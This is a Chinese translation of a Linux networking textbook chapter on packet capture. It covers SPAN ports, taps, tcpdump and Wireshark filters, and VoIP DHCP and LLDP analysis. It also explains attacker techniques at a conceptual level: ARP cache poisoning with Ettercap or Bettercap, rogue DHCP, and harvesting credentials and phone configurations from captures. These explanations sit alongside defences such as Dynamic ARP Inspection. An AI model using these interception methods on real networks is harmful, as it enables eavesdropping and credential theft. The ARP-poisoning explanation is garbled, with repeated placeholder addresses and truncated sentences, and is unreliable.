也就是说,始终使用我们刚刚讨论过的工具定期查找外围基础设施上的问题是一个好主意。

另一个重要的安全问题是管理访问。重要的是要限制对负载均衡器的管理界面(即 SSH)的访问,将其限制在所有接口上的允许主机和子网。请记住,如果您的负载均衡器与防火墙平行,整个互联网都可以访问它,即使不是这样,您内部网络上的每个人也可以访问它。您需要将访问权限缩减到可信任的管理主机和子网。如果您需要参考,记住我们在第四章中涵盖了这一点,Linux 防火墙,以及第五章具有实际示例的 Linux 安全标准

总结

希望本章对负载均衡器的介绍、部署以及您可能选择围绕它们做出各种设计和实施决策的原因有所帮助。

如果您在本章节中使用新的虚拟机来跟随示例,那么在接下来的章节中我们将不再需要它们,但是如果您需要以后参考示例,您可能希望保留 HAProxy 虚拟机。如果您只是通过阅读本章中的示例来跟随,那么本章中的示例仍然对您可用。无论哪种方式,当您阅读本章时,我希望您能够在脑海中思考负载均衡器如何适应您组织的内部或边界架构。

完成本章后,您应该具备在任何组织中构建负载均衡器所需的技能。这些技能是在(免费)版本的 HAProxy 的背景下讨论的,但设计和实施考虑几乎都可以直接在任何供应商的平台上使用,唯一的变化是配置选项或菜单中的措辞和语法。在下一章中,我们将看一下基于 Linux 平台的企业路由实现。

问题

最后,这里有一些问题供您测试对本章材料的了解。您将在附录评估部分中找到答案:

  1. 何时您会选择使用直接服务器返回DSR)负载均衡器?

  2. 为什么您会选择使用基于代理的负载均衡器,而不是纯 NAT-based 解决方案的负载均衡器?

进一步阅读

查看以下链接,了解本章涵盖的主题的更多信息:

第十一章:Linux 中的数据包捕获和分析

在本章中,我们将讨论在 Linux 中使用数据包捕获。在许多方面,数据包是数据中心中最接近真相的东西;经常引用的谚语是数据包不会说谎。无论主机或防火墙上存在什么样的策略或复杂的配置,主机和应用程序数据包始终会反映发生的情况。这使得数据包捕获,更重要的是对这些数据包进行分析成为网络管理员工具箱中的关键问题解决和故障排除技能。

特别是,我们将涵盖以下主题:

  • 数据包捕获简介-寻找正确的地方

  • 在进行捕获时的性能考虑

  • 捕获工具

  • 过滤捕获的流量

  • 解决应用程序问题-捕获 VoIP 电话呼叫

让我们开始吧!

技术要求

在本章中,我们将捕获数据包。初始设置和数据包捕获使用了一个您可能无法访问的物理交换机。不过,一旦我们开始查看数据包本身,所有捕获文件都可以下载。由于本章的大部分内容都是关于分析和解释捕获的数据包,我们现有的 Linux 主机应该可以很好地完成工作,而不需要进行过多的修改。这也是我们确保当您按照本章的示例进行操作时,您的显示与我们描述的内容匹配的好方法。

当然,您可以在实验室中构建数据包捕获,或者更好地集成到您的工作环境中。这是一个非常有价值的工具,可以用来排除故障,或者更好地了解我们每天使用的各种协议和应用程序!

本章引用的捕获文件可以在本书的 GitHub 存储库的C11文件夹中找到:github.com/PacktPublishing/Linux-for-Networking-Professionals/tree/main/C11

数据包捕获简介-寻找正确的地方

有多种方法可以在两个主机之间拦截和捕获数据包,以及在通信路径中进行捕获的多个位置。让我们讨论一些更受欢迎的选择。

从任一端进行捕获

这绝对是最简单的选择,因为一切正常时,对话的两端主机都将接收或发送所有数据包。不过,这也有一些缺点:

  • 您可能无法访问任一端。根据情况,其中一个端点主机可能根本不在您的组织中。

  • 即使有,您可能无法在您的环境中对主机(或主机)进行管理访问。特别是在企业环境中,常见的情况是,网络团队和/或安全团队可能无法在服务器上进行管理访问(或任何访问)。

  • 安装新的系统软件通常不是大多数组织可以随意进行的事情。大多数公司对可能影响工作站或服务器操作的任何事物都需要严格的变更控制程序。

  • 即使安装数据包捕获应用的变更请求得到批准,像这样的奇怪应用程序在安装后可能会成为数月甚至数年的争议焦点,服务器上出现的任何奇怪情况都可能被归咎于“网络团队在服务器上安装的那个奇怪的应用程序”。

  • 如果您正在解决问题,您可能无法从您可以访问的端点看到问题。例如,如果一些或所有数据包未到达服务器(或客户端),那么在问题站点进行捕获可能无法帮助您解决问题-除了确认这些数据包未到达之外。

因此,通常更倾向于在路径的某个中间点捕获数据包。一个受欢迎的选择是配置交换机端口来镜像监视流量。

切换监控端口

常见情况是,我们需要捕获发送到或从主机的数据包,但我们无法访问任何主机,无法中断服务,或无法获得安装数据包捕获软件所需的权限。由于这些情况非常普遍,交换机供应商已经实施了一些功能来帮助我们。大多数交换机都有将流量镜像或监视到或从端口的功能。这通常被称为交换端口分析器SPAN)配置。从交换机上,我们只需配置要监视的端口,我们是要发送(Tx)、接收(Rx)还是双向流量,以及我们要将数据发送到哪个端口。

例如,在思科交换机上,在这种配置中,我们正在监视GigabitEthernet 1/0/1端口(发送和接收),我们的数据包捕获主机位于GigabitEthernet 1/0/5端口上:

monitor session 1 source g1/0/1 both
monitor session 1 destination g1/0/5

正如您所看到的,这些都是为monitor session 1定义的,这意味着是的,大多数交换机将支持同时进行多个监视会话。这可以通过监视整个 VLAN(因此源可能是 VLAN 7)或将数据包捕获发送到远程目的地,称为远程交换端口分析器RSPAN)目的地来扩展。

如果混合中有防火墙或负载均衡器,请注意您定义的源端口 - 例如,如果在 NAT 之前或之后捕获数据包,您的数据包捕获数据将有很大不同。

在哪里还可以查找特定对话中的数据包?网络设备在这里也是一个受欢迎的选择。

中间的内联主机

在这种情况下,中间主机,如路由器、交换机或防火墙,可以捕获流量。特别是防火墙非常方便,因为在许多情况下,您可以在 NAT 之前和之后捕获流量。如果您正在解决一个明确定义的问题,这种方法非常合理。但是,必须考虑以下问题:

  • 网络设备通常具有有限的存储空间,因此您需要将数据包的总体量保持在捕获设备的存储容量范围内。在某些设备上,您可以实时将捕获发送到远程目的地,以解决这个问题,但这也会带来其他问题。

  • 无论哪种情况,数据包速率都应该很低。在许多情况下,这些设备上的本地存储相对较慢,如果数据包速率很高,实时将数据包捕获发送到网络目的地可能会导致捕获中丢失数据包。

  • 捕获数据包会对捕获设备的 CPU 产生不利影响。在考虑在此设备上增加数据包捕获负载之前,请确保您的整体 CPU 利用率较低。

  • 如果您将捕获的数据包发送到远程目的地,请确保有足够的带宽来做到这一点 - 如果超出端口的带宽,您将在捕获端或发送端丢失数据包。

  • 总之,在许多情况下,您正在寻找流中非常特定的数据包以排除问题,以便制作一个过滤器来仅收集该流量。

有关使用思科路由器作为数据包收集器的更完整描述,请参阅:https://isc.sans.edu/forums/diary/Using+a+Cisco+Router+as+a +Remote+Collector+for+tcpdump+or+Wireshark/7609/。

其他平台的数据包捕获设施通常非常相似 - 它们创建一个列表来定义感兴趣的流量,然后开始捕获过程。无论您的设备是什么,您的供应商都会比我们在这里提到的更全面地记录这一点。

最后,我们将看看“纯粹”的方法;也就是使用网络监听器。

网络监听器

tap 是一种硬件设备,插入到流量中,允许在任一方向或两个方向进行全面监控。因为它传统上是一个电气/硬件解决方案,所以没有关于数据包容量的争论;任何方向上的每一位都简单地被电气地复制到监听站。然而,tap 需要花钱,并且需要您在现场。您还必须断开相关的以太网电缆以将 tap 放在线。因此,tap 仍然是非常方便的,但通常不再经常使用。

Michael Ossmann 的 Typical low-end tap(1010/100)是以太网“Throwing Star”,可以在greatscottgadgets.com/throwingstar/找到。以下图表显示了这样一个典型的低端(10/100)的 tap 是如何操作的。请注意,有两种构建 tap 的方法 - 如下图所示,您可以构建一个具有两个端口的仅监听 tap,每个端口只“监听”一个方向的流量:

图 11.1 - 两个 tap 端口,每个方向一个

图 11.1 - 两个 tap 端口,每个方向一个

您还可以使用更传统的 tap,它将在单个端口上“听到”两个方向的流量:

图 11.2 - 一个 tap 端口看到所有流量(只有引脚)

图 11.2 - 一个 tap 端口看到所有流量(只有引脚)

这一切都是有效的,直到 1GB 以太网出现,此时像这样的 tap 的信号损失成为了一个问题。10Gbps 甚至更复杂,因为实际的第 1 层信号不再匹配标准以太网。因此,在 10Gbps 或以上的情况下,tap 是主动设备,更像是具有一个或多个 SPAN 端口的交换机,而不是被动设备。信号仍然完全复制到目标端口,但背后有更多的电路来确保发送到实际源、目的地和捕获主机的信号仍然可以被所有方可靠地读取。

我们仍然可以看到 tap 在一些特定的安全设置中使用,其中需要捕获 1G、10G 或更快的流量,但我们也需要电气隔离来防止任何传输。

在某种程度上,tap 仍然是一种方便的故障排除设备,可以放在您的笔记本电脑包中,以备需要时使用,但正如前面所述,它们在普通数据包捕获中不经常使用。

到目前为止,我们已经描述了各种合法的捕获数据包的方法,但是犯罪分子和他们的恶意软件是如何完成这项工作的呢?

恶意数据包捕获方法

到目前为止,我们已经考虑了如何合法地捕获数据包。然而,如果你考虑恶意意图,你如何防御可能使用其他方法的攻击者?为了做到这一点,让我们像攻击者一样思考,看看他们可能如何在没有对任何东西进行管理访问的情况下建立一个数据包捕获站。

第一种方法在第七章中已经涵盖过,Linux 上的 DHCP 服务。攻击者可以挂载一个恶意的 DHCP 服务器,并将他们的主机设置为目标计算机的默认网关或代理服务器(使用 WPAD 方法)。在任何一种方法中,受害者的数据包都会通过攻击者的主机并被捕获。如果协议是明文的(例如,使用 HTTP,TFTP,FTP 或 SIP,正如我们将在本章的故障排除 应用程序 - 捕获 VoIP 电话呼叫部分中看到的那样),这些数据包可以被存储以供以后分析,甚至可以实时修改。我们可以通过保护 DHCP 服务来防御这种类型的攻击(正如我们在第七章中讨论的那样,Linux 上的 DHCP 服务)。

类似地,攻击者可以劫持路由协议来捕获特定子网或主机的流量。我们偶尔在互联网上看到这种情况,其中一个子网可能会被劫持,利用 BGP 路由协议的信任性质。在这些情况下,我们经常看到信用卡门户被重定向到意想不到的国家,人们的凭据在他们登录到那里准备好的假网站时被收集。在这种情况下,受害者如何保护自己?实际上,这比你想象的要简单和不可靠。如果受害者收到无效证书的警告,他们应该关闭该会话,不要继续。不幸的是,虽然这确实是一个简单的解决方案(警告屏幕几乎是整页的,而且有很多红色),但它也不是很可靠,因为许多人会简单地点击任何可以解除警告并继续访问网站的按钮。

攻击者可以使用的另一种常见方法是 ARP 缓存中毒来捕获数据包。要理解这一点,您可能需要复习一下 ARP 的工作原理(第三章使用 Linux 和 Linux 工具进行网络诊断)。在高层次上,攻击者使用 ARP 数据包向每个受害者“说谎” - 这在下图中很容易看出:

图 11.3 - ARP 缓存中毒

图 11.3 - ARP 缓存中毒

在这个图中,两个受害者是3333.3333.3333,并告诉3333.3333.3333。交换机并没有看到任何这些;它只是路由各种数据包,因为它们在技术上都是有效的。现在,当3333.3333.3333

如果受害者 2恰好是子网的默认网关,攻击者可以扩展到脱网捕获。

这似乎有些复杂,但多年来已经实现了自动化 - 这种类型攻击的第一个工具是Dug Song在 2000 年编写的dSniff。一个更现代的工具,使用图形界面,允许您图形化选择各种受害者的工具是 Ettercap。Ettercap 及其后继者 Bettercap 的优势在于,它们一旦发现“感兴趣的痕迹”,如凭据或密码哈希,它们将自动收集这些信息。

过程完成后,当 Ettercap 关闭时,它会优雅地重新填充所有受害者站点的 ARP 表,以正确的值。这意味着如果 Ettercap 以非优雅的方式关闭(例如,被踢出网络或被过多的流量“淹没”),受害站点将被“困”在错误的 ARP 条目中,通常持续到每个工作站的 ARP 计时器到期。如果攻击者站点在其列表中有子网的默认网关,这种情况将隔离整个子网,持续时间为网关的 ARP 计时器(最长可达 4 小时)。

我们如何保护自己免受这种攻击?日志记录是一个很好的起点。大多数现代交换机和路由器在看到两个不同的 MAC 地址声称拥有相同的 IP 地址时会记录重复 IP 地址错误。对这种类型的日志条目进行警报(参见第十二章使用 Linux 进行网络监控)可以帮助启动积极的事件响应计划。

我们还能做些更“积极”的事情吗?大多数交换机都有一个名为动态 ARP 检查DAI)的功能,可以查找这种类型的攻击。当发现攻击时,攻击者的以太网端口将被禁用。不过,要注意实施这个功能的位置 - 不要在具有下游交换机或无线接入点的交换机端口上配置 DAI;否则,当他们的端口被禁用时,攻击者将带走许多无辜的旁观者。通常会将具有下游交换机或 AP 的端口配置为“受信任”,期望下游设备将处理其自己连接的站点的检查。

DAI 看起来与 DHCP 检查和信任配置非常相似:

ip arp inspection vlan <number>
ip arp inspection log-buffer entries <some number, try 1024 to start>
ip arp inspection log-buffer logs 1024 interval 10

正如我们之前提到的,在具有下游交换机、AP 等的交换机端口上,你可以使用以下方法禁用 DAI:

int g1/0/x
  ip arp inspection trust

要将 DAI ARP 阈值从默认的每秒 15 个数据包降低到更低的值(例如 10),可以执行以下操作:

int g 1/0/x
  ip arp inspection limit 10

如果在攻击中启用了 ARP 检查,使用 Ettercap 等工具,该工具通常会向受害者发送一系列稳定的 ARP 数据包,以确保他们的 ARP 缓存保持被感染状态。在这种情况下,受影响的交换机将生成DAI-4-"DHCP_SNOOPING_DENY" "Invalid ARPs"错误消息,因为端口阈值已超过。端口还将创建ERR-DISABLE状态,完全使攻击者下线。

然而,在当今不断增长的网络速度世界中,你可能会发现你所捕获的数据超出了你工作站的容量 - 但不要放弃,有一些优化可以帮助你!

在捕获时的性能考虑

正如我们在前一节中提到的,一旦数据速率开始上升,即使是高端 Linux 主机或虚拟机,捕获数据包也会对主机产生影响。在设置数据包捕获时,还有一些网络决策需要考虑。

需要考虑的因素包括:

  • 如果你使用 SPAN 或监视端口,根据交换机型号,你的目的地端口(你的嗅探器站插入的端口)可能不在网络上 - 它可能只能看到源端口的来往流量。这意味着通常情况下,你必须使用你最快的内置网卡进行数据包捕获,然后如果该主机需要同时在网络上活动(例如,如果你远程连接到它),则使用性能较低的 USB 网卡。

  • 在所有情况下,确保你的网卡足够快,可以真正“看到”所有目标数据包。特别是在监视端口设置中,你可以配置一个 10 Gbps 的源和一个 1 Gbps 的目的地。这样做是可以的,直到你开始看到流量超过 1 Gbps。在那时,交换机将开始排队和/或丢弃数据包,这取决于交换机型号。换句话说,你的结果可能是不可预测的(或可预测的糟糕)。

  • 一旦在网卡上,确保网卡的上行能够处理流量。例如,如果你在笔记本上使用了一个 10 Gbps 的雷电适配器,请确保它插入了一个雷电端口(而不是 USB-C 端口),并且你有足够的带宽来添加这个新的带宽。例如,如果你在同一台笔记本上有两个 4K 屏幕,很可能你的雷电上行没有剩余的 10 Gbps 来进行高速数据包捕获。

  • 向上移动,确保你的硬盘既有足够的速度又有足够的容量。如果你要捕获 10 Gbps,你可能会想要选择 NVME 固态硬盘进行存储。你可能还希望它是内置的,而不是插在你的网络适配器上的同一个雷电或 USB-C 适配器上。另外,如果你要使用服务器进行捕获,可以查看 RAID 或 SAN 的吞吐量。特别是如果存储是 iSCSI,确保你的数据包捕获不会“饿死”其他 iSCSI 客户端的对 SAN 的带宽。

  • 考虑您的环形缓冲区的大小 - 特别是 tcpdump 在这方面具有很好的灵活性。环形缓冲区是捕获的数据包存储在内存中的临时区域,在发送到磁盘或捕获应用程序的内存之前。在大多数 Linux 系统上,默认值为 2 MB,通常是足够的。但是,如果您发现捕获会话似乎丢失了数据包,增加这个值可能会解决这个问题。在 tcpdump 中,可以使用-B参数轻松调整这个值 - 这使得 tcpdump 成为在您知道或怀疑可能会推动数据包捕获极限时使用的理想工具。请注意,tcpdump 没有记录此的默认大小; 2 MB 默认值只是通常看到的。

  • 考虑到您需要整个数据包。如果您只需要数据包头来排除故障(换句话说,您不需要实际有效载荷),您可以调整snaplen - 每个数据包中要捕获的字节数。例如,将此值从1500减少到64可以大大增加适合环形缓冲区的数据包数量。您将希望确保snaplen值足够大,以捕获所有数据包头信息。

  • 最后,如果您作为授权的安全演练(如渗透测试)中的攻击者工作,还有一些事情需要牢记。如果您在参与中使用 ARP 缓存中毒,请注意此攻击存在一定的风险。确保您的工作站具有足够的接口带宽、CPU 和内存容量,以便成功进行此类攻击 - 如果中间人MiTM)流量超过您的工作站的容量,您的机器可能会下线。对受害者(可能是整个 VLAN)的影响是,他们将留下无效的 ARP 缓存,并且基本上在其 ARP 计时器的持续时间内被困住(在某些平台上长达 4 小时)。

在我们讨论的理论之后,我们将使用哪些工具来捕获和分析数据包?

捕获工具

许多不同的工具可以用于从网络中捕获数据包,并直接分析数据包数据,或将它们存储在pcap文件中。甚至有更多的工具可以使用这些pcap文件,并允许您对其进行进一步的离线分析。

tcpdump

我们已经多次提到了 tcpdump。这是一个命令行数据包捕获工具,这意味着它可以在没有图形用户界面的系统上使用,或者如果您正在使用非图形用户界面,如 SSH。因为它不涉及任何图形,并且不会为您查看(例如告诉您任何协议的具体信息)预处理数据包,所以它是您在数据包捕获中找到的性能最高、影响最小的工具之一。

tcpdump 使用Berkely Packet FilterBPF)语法来决定要捕获哪些数据包。这可以用于按 IP 地址、MAC 地址、协议甚至 TCP 数据包中的特定标志进行过滤。

Wireshark

Wireshark 是更常用的数据包捕获工具之一。它有一个图形用户界面,每个数据包都被分类、颜色编码和处理,以便尽可能显示更多信息。与 tcpdump 类似,Wireshark 使用 BPF 语法在捕获期间过滤数据包。它使用不同的过滤语法来过滤显示的数据包。

TShark

TShark 与 Wireshark 应用程序捆绑在一起,本质上是 Wireshark 的命令行/文本版本。如果您在 SSH 会话中并且想要比 tcpdump 更灵活的东西,那么拥有 TShark 会非常方便。

其他 PCAP 工具

有数百甚至数千种工具可用于捕获数据包或分析数据包捕获。在攻击者方面,我们已经讨论过 Ettercap、Bettercap 和 dsniff 作为中间人攻击工具。像 NetworkMiner 这样的工具非常适合捕获数据包或处理现有的数据包捕获。这样的工具可以帮助您节省分析可能迅速变得非常庞大的数据包捕获文件所需的时间。NetworkMiner 将从pcap文件中提取有价值的工件,如凭据、凭据哈希、证书和在捕获会话期间传输的数据文件。

我们将讨论更多使用数据包捕获的高级工具,即入侵检测系统IDS)、入侵防御系统IPS)和被动流量监控,在接下来的章节中(第十三章Linux 上的入侵防御系统,和第十四章Linux 上的蜜罐服务)。

您可能会发现,您进行数据包捕获的原因是为了解决问题。让我们讨论如何捕获或查看只与您正在解决的问题相关的数据包。

过滤捕获的流量

使用数据包捕获工具时,您将注意到显示屏上出现的数据包数量之多。由于数据包捕获通常是为了故障排除目的而进行的,通常希望将数据包限制在需要解决的问题上。为此,您通常要么在捕获过程中“过滤”这些数据包,要么在捕获后过滤这些数据包的显示。让我们讨论这两种情况。

Wireshark 捕获过滤器(捕获您的家庭网络流量)

在没有特定的交换配置的情况下,在您的家庭网络上进行数据包捕获将发现比您想象的更多。如今,许多家庭都有一小群连接到网络的基于 Linux 的设备-如果连接的话,您的电视、恒温器、门铃、跑步机和冰箱很可能都是 Linux 主机。这些通常被称为物联网IoT)设备。几乎所有物联网主机都可能在有线和无线网络上广播和多播一系列不断的“发现”数据包,它们这样做是为了找到可能想要与它们交谈甚至控制它们的控制器和中心。

让我们快速看一下-我们将使用 Wireshark 工具进行此操作。

启动工具并选择连接到您的网络的网络适配器。

在点击开始之前,让我们添加一个捕获过滤器。我们将排除我们的地址,并且还将排除 ARP 数据包的捕获。请注意,您的 IP 地址将不同:

图 11.4-向 Wireshark 添加捕获过滤器

图 11.4-向 Wireshark 添加捕获过滤器

现在,点击开始捕获按钮,位于左上角的蓝色鲨鱼鳍图标,或选择捕获/开始

在典型的家庭网络上,您应该在几秒内就能探索到数十个数据包-以下屏幕截图显示了我家网络上 10 秒后的数据包。您可能会看到广播和多播流量的混合-根据定义,这些流量是发送到所有站点的。虽然这可能被视为有限的捕获,但您可以用它来开始对您的网络上的内容进行清点:

图 11.5-典型家庭网络捕获

图 11.5-典型家庭网络捕获

即使不探索数据包的内容,也有一些关键事项需要注意前面的屏幕截图:

  • 一些 IPv4 设备正在169.254.0.0/16范围内运行(自动私有 IP 地址范围)。这些地址无法路由到您的网络之外,但对于诸如电视遥控器或门铃与本地网络上的控制器通信等事情来说,这是完全可以的。

  • 您可能会在本地交换机上看到生成树流量,如果等待足够长的时间,您可能会看到链路层发现协议 (LLDP) 或Cisco 发现协议 (CDP) 数据包(我们稍后在本节中将看到一个示例)。

  • 您还很可能会看到 IPv6 流量 – 在这个捕获中,我们可以看到DHCPv6ICMPv6数据包。

所有这些来自 10 秒的收听!有趣的是,深入研究您的家庭网络,甚至简单地查看您看到的 MAC 地址,并使用其 OUI 标识每个供应商。

让我们从数据包的角度深入研究一组特定设备 – Voice over IP (VoIP) 电话。

tcpdump 捕获过滤器 – VoIP 电话和 DHCP

让我们通过查看典型 VoIP 电话的启动序列来探索 tcpdump 和 Wireshark 中的捕获过滤器。我们的网络非常简单;有四个站点和两个 VLAN:

图 11.6 – 数据包捕获的实验室设置

图 11.6 – 数据包捕获的实验室设置

请注意,我们设置了一个监视会话,其中端口5接收端口1的所有数据包。

VoIP 电话启动和通信涉及的站点总结如下:

请注意,当我们从表的左侧向右侧移动时,我们正在沿着 ISO 模型表示的“堆栈”向下移动 – 扩展在应用层表示,IP 地址是第 4 层,MAC 地址和 VLAN 是第 2 层,最后是接口本身。

首先,让我们使用 tcpdump 在 DHCP 服务器上捕获 DHCP 序列。使用这个主机很方便,因为 DHCP 服务器是 DHCP“对话”的一端,所以如果一切正常,它应该能看到双向的所有数据包。

此外,使用 tcpdump 意味着我们不依赖于任何 GUI – 如果您正在从 SSH 会话中操作,您仍然得到充分的支持。tcpdump 几乎被普遍支持。tcpdump 默认安装在几乎每个 Linux 发行版上,此外,您可以在大多数防火墙、路由器和交换机上调用 tcpdump(使用一种或另一种语法) – 这并不奇怪,考虑到这些平台中有多少是基于 Linux 或 BSD Unix 的。

让我们继续捕获。因为源站点尚未具有 IP 地址,所以我们需要根据电话的 MAC 地址和 DHCP 使用的两个 UDP 端口67/udp(bootps)和68/udp(bootpc)来指定流量。我们将捕获完整的数据包并将它们写入文件 – 请注意,实际捕获需要sudo权限。

首先,列出接口,以便我们正确获取源:

$ tcpdump -D
1.ens33 [Up, Running]
2.lo [Up, Running, Loopback]
3.any (Pseudo-device that captures on all interfaces) [Up, Running]
4.bluetooth-monitor (Bluetooth Linux Monitor) [none]
5.nflog (Linux netfilter log (NFLOG) interface) [none]
6.nfqueue (Linux netfilter queue (NFQUEUE) interface) [none]
7.bluetooth0 (Bluetooth adapter number 0) [none]

现在,让我们捕获一些数据包!

$ sudo tcpdump -s0 -l -i ens33 udp portrange 67-68
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on ens33, link-type EN10MB (Ethernet), capture size 262144 bytes
08:57:17.383672 IP 192.168.123.1.bootps > 192.168.122.113.bootps: BOOTP/DHCP, Request from 80:5e:c0:57:bc:91 (oui Unknown), length 548
08:57:18.384983 IP 192.168.122.113.bootps > 192.168.123.1.bootps: BOOTP/DHCP, Reply, length 332

我们的论点包括以下内容:

在输出中,我们可以看到交换中的前几个数据包 – 我们想要将其写入文件,因此让我们添加-w

$ sudo tcpdump -s0 -l -i ens33 udp portrange 67-68 -w DHCPDora-Phone.pcap

现在,假设我们无法访问 DHCP 服务器。或者,如果 DHCP 工作不正常,我们可能希望从网络视角来交换,也许看看为什么服务器或客户端没有接收或发送 DHCP 数据包。在这种情况下,请记住客户端是电话,因此虽然它很可能是基于 Linux 的,但供应商可能没有让它轻松地通过 SSH 到该平台运行 tcpdump。

在这种情况下,典型的解决方案是设置一个 SPAN 端口,也称为监视镜像端口(取决于交换机供应商)。在这种情况下,我们的数据包捕获主机位于端口5,因此将成为监视会话目的地。电话位于端口1,因此将成为我们的监视会话源。在 Cisco 交换机上,此设置语法如下:

monitor session 1 source interface Gi1/0/1
monitor session 1 destination interface Gi1/0/5

要查看正在进行的各种监视会话,show命令如下:

rvlabsw01#sho monitor
Session 1
---------
Type                   : Local Session
Source Ports           :
    Both               : Gi1/0/1
Destination Ports      : Gi1/0/5
    Encapsulation      : Native
          Ingress      : Disabled

让我们在 Wireshark 中设置这个。这对我们有很多优势 - 它不仅会对我们的过滤器进行语法检查(注意当它有效时会变成绿色),而且我们还可以以图形方式选择我们的网络适配器,并且在捕获过程中以图形方式显示数据包。同样,在选择捕获接口后,过滤器将如下所示:

图 11.7 - 在 Wireshark 中定义捕获过滤器

图 11.7 - 在 Wireshark 中定义捕获过滤器

请注意,捕获过滤器的语法与 Wireshark 和 tcpdump 相同;它使用所谓的 BPF 语法。在这个例子中,我们在过滤器中添加了ether host,以仅捕获发送到或从该 MAC 地址的 DHCP 数据包。按下开始捕获按钮(窗口左上角的蓝色鲨鱼鳍图标);我们将看到电话启动时的 DHCP 序列:

图 11.8 - 捕获的完整 DHCP“DORA”序列

图 11.8 - 捕获的完整 DHCP“DORA”序列

如果您没有设置实验室,您可以从我们的 GitHub 页面收集这个pcap文件(github.com/PacktPublishing/Linux-for-Networking-Professionals/tree/main/C11);文件名为DHCP DORA Example.pcapng

我们可以简单地展开数据包中的各种数据字段,以显示各种诊断值。展开第一个帧的 DHCP 部分:

图 11.9 - 探索 DHCP“Discover”数据包

图 11.9 - 探索 DHCP“Discover”数据包

向下滚动并展开一些 DHCP Option字段 - 特别是Parameter Request List

图 11.10 - “Discover”数据包中的 DHCP 选项

图 11.10 - “Discover”数据包中的 DHCP 选项

请注意电话的请求列表中有多少项目。这为攻击者提供了一些很好的选项。特别是,如果恶意的 DHCP 服务器可以响应并给电话一个不同的 TFTP 服务器和 Bootfile 名称,那么 TFTP 服务器上的文件将包含电话的整个配置,包括其分机和呼叫者 ID - 几乎所有内容。

此外,像这样的配置服务器几乎总是 TFTP 或 HTTP 服务器。对于攻击者来说,这意味着如果他们可以在客户端和服务器之间获得 MiTM 位置(使用 Ettercap、Bettercap 或类似工具),他们不仅可以收集配置数据以供以后在攻击中使用 - 他们还可以在电话下载数据时实时修改这些数据。

这强调了保护 DHCP 服务和 VoIP 配置服务的重要性!让我们来看一个更通用的协议,我们可以用于善良和邪恶 - LLDP 和 CDP。

更多的捕获过滤器 - LLDP 和 CDP

当一个站点启动时,我们还能看到什么?CDP 和 LLDP 是大多数环境中会看到的主要二层发现协议。这些协议将为我们提供各种有用的信息,用于故障排除或自动记录我们的网络和站点。它们还会为攻击者提供相同的信息,这意味着在您可以的地方,您将希望限制这些协议,通常是在连接到其他公司的任何通信链路上。

LLDP 几乎对所有 VoIP 实现都是必需的 - 这是电话知道大多数情况下应该在哪个 VLAN 上的方法(除非 VLAN 在 DHCP 中设置),这也是大多数电话协商它们的PoEPower over Ethernet)功率级别的方法。没有 LLDP,所有电话将接收完整的 15 瓦电力,这意味着任何给定的交换机都需要提供比它所需的电力多 6-7 倍(大多数电话的功率范围在 2-4-6 瓦之间)。

让我们来看看 CDP(它以01:00:0c:cc:cc:cc的二层地址进行多播)和 LLDP(它以01:80:C2:00:00:0E进行多播,并且以0x88cc的以太网协议)。在这种情况下,我们的捕获过滤器将如下所示:

ether host 01:00:0c:cc:cc:cc or ether proto 0x88cc

或者,它将如下所示:

ether host 01:00:0c:cc:cc:cc or ether host 01:80:C2:00:00:0E

结果捕获显示 LLDP 和 CDP 都在起作用,但我们可以从电话发送的 LLDP 数据包中看到什么?

我们正在寻找的信息都在 Wireshark 显示的应用程序部分(此捕获的示例文件同时包括 LLDP 和 CDP - Phone Example.pcapng)。打开文件并突出显示 LLDP 数据包的链路层发现协议部分。请注意,以下数据包含许多十六进制字符,但有足够的 ASCII 转换内容,您已经可以看到一些有用的数据!

图 11.11 - 捕获的 LLDP 帧

图 11.11 - 捕获的 LLDP 帧

现在,展开 LLDP 选项卡,以便我们可以查看该部分的一些详细信息:

图 11.12 - 更详细查看 LLDP 数据包

图 11.12 - 更详细查看 LLDP 数据包

电话已设置为自动速度和双工,并协商到 100/全双工。

电话是 Yealink,型号 T21P-E2,序列号为805ec086ac2c。它运行的固件版本是 52.84.0.15。

它在未标记的(本地)VLAN 中(VLAN ID 为0),并且没有0,所以是 L2 优先级)。

请随时从捕获文件中的 CDP 数据包中收集相同的信息 - 请记住我们过滤了 CDP 和 LLDP。

这可能看起来像一个简单的例子,但是网络往往是多年来“有机”地组合在一起的,几乎没有文档记录。在某个时候,网络将变得足够复杂,或者知道如何连接所有内容的人将离开公司 - 在那时,记录网络将变得重要。如果启用了 CDP 或 LLDP,这将为您提供一个重要的工具,以获取所有 IP 地址,型号,固件和连接端口的良好起点。

从攻击者的角度来看,这些信息可以用来识别可能适合利用的主机。您可以使用相同的方法来收集这些数据,寻找具有已知漏洞的固件版本的基础设施。然后,这个设备可以成为攻击者将要转移到的下一个平台,使用该主机收集更多信息,以在下一次攻击中使用。这种方法可以轻松地用于将他们的攻击延伸到下一个连接的组织,也许是针对我们 ISP 在我们的互联网或 MPLS 上行链路上的路由器或交换机。

现在,让我们看一下从数据包捕获中提取特定工件,比如文件。

从数据包捕获中收集文件

如果您正在处理一组捕获的数据包,或者正在进行数据包捕获,如果看到文件传输,您有哪些选项?如果它使用任何 TCP 协议或众所周知的 UDP 协议(如 TFTP 或 RTP),那就太容易了!

在这里,我们可以看到一个数据包捕获(在我们的 GitHub 存储库中的file-transfer-example.pcapng)。Wireshark 正确识别这是一个 TFTP 文件传输:

图 11.13 - 包含文件传输的数据包捕获

图 11.13 - 包含文件传输的数据包捕获

知道这个网络上有 VoIP 电话,我们怀疑这些可能是配置文件 - 在启动/初始化过程中传输到电话的配置文件。让我们仔细看一下。

从第一行开始,我们可以看到对名为SIPDefault.cnf的文件的读取请求。这确实是一个高价值目标,因为它为 Cisco SIP 电话提供了默认设置,如果它们是集中配置的。突出显示标记为数据包的第一个数据包(数据包 3)。右键单击它,然后选择跟随| UDP 流。正如您所记得的,UDP 协议中没有会话数据,但是 Wireshark 内置了许多协议的解码,TFTP 只是其中之一:

图 11.14 - 从 PCAP 中收集传输文件 - 步骤 1

图 11.14 - 从 PCAP 中收集传输文件 - 步骤 1

太棒了!我们找到了我们要找的文件!选择另存为...以“收集”此文件。现在,让我们看看还有什么:

图 11.15 - 从 PCAP 中收集转移文件 - 步骤 2

图 11.15 - 从 PCAP 中收集转移文件 - 步骤 2

关闭此窗口并清除 Wireshark 中的显示过滤器行,以便我们可以再次看到整个捕获(清除文本,显示udp stream eq 1)。

